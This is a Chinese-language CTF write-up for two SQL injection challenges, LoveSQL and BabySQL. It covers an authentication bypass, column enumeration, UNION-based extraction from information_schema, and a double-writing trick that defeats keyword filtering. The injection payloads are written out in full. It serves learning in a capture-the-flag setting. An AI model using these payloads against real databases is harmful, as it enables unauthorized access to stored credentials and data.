极客大挑战 2019 LoveSQL,BabySQL
  # [极客大挑战 2019]LoveSQL
提交参数,url后拼接了参数和值

hackbar测试admin用户万能密码,可以成功登录。username的#井号需要url编码

order by测试字段数,3正常,4报错。只有3个字段

联合注入,2,3是回显位

使用hackbar自带的sql注入,爆出库,表geekuser,l0ve1ysq1,字段username,password


hackbar没有具体到字段数据,写一个查数据语句
union select 1,group_concat(username,password),3 from l0ve1ysq1
 1
拿到flag
# [极客大挑战 2019]BabySQL
上一题的万能密码拿来用报错了

双写or,发现就可以过了,说明这题过滤了常用字符串,替换成空格,导致题目报错

双写联合注入

查询语句的from,where,information里的or也被吞掉了,需要双写

查表b4bsql,geekuser,查字段id,username,password,查数据
# 爆表
ununionion seselectlect 1,group_concat(table_name),3 frfromom infoorrmation_schema.tables whwhereere table_schema=database()
# 爆字段
ununionion seselectlect 1,group_concat(column_name),3 frfromom infoorrmation_schema.columns whwhereere table_schema=database()
# 爆数据,password的or也要双写
ununionion seselectlect 1,group_concat(username),group_concat(passwoorrd) frfromom b4bsql%23
 1
2
3
4
5
6
2
3
4
5
6

编辑  (opens new window)
  最后一次更新于: 2025/10/08, 22:34:57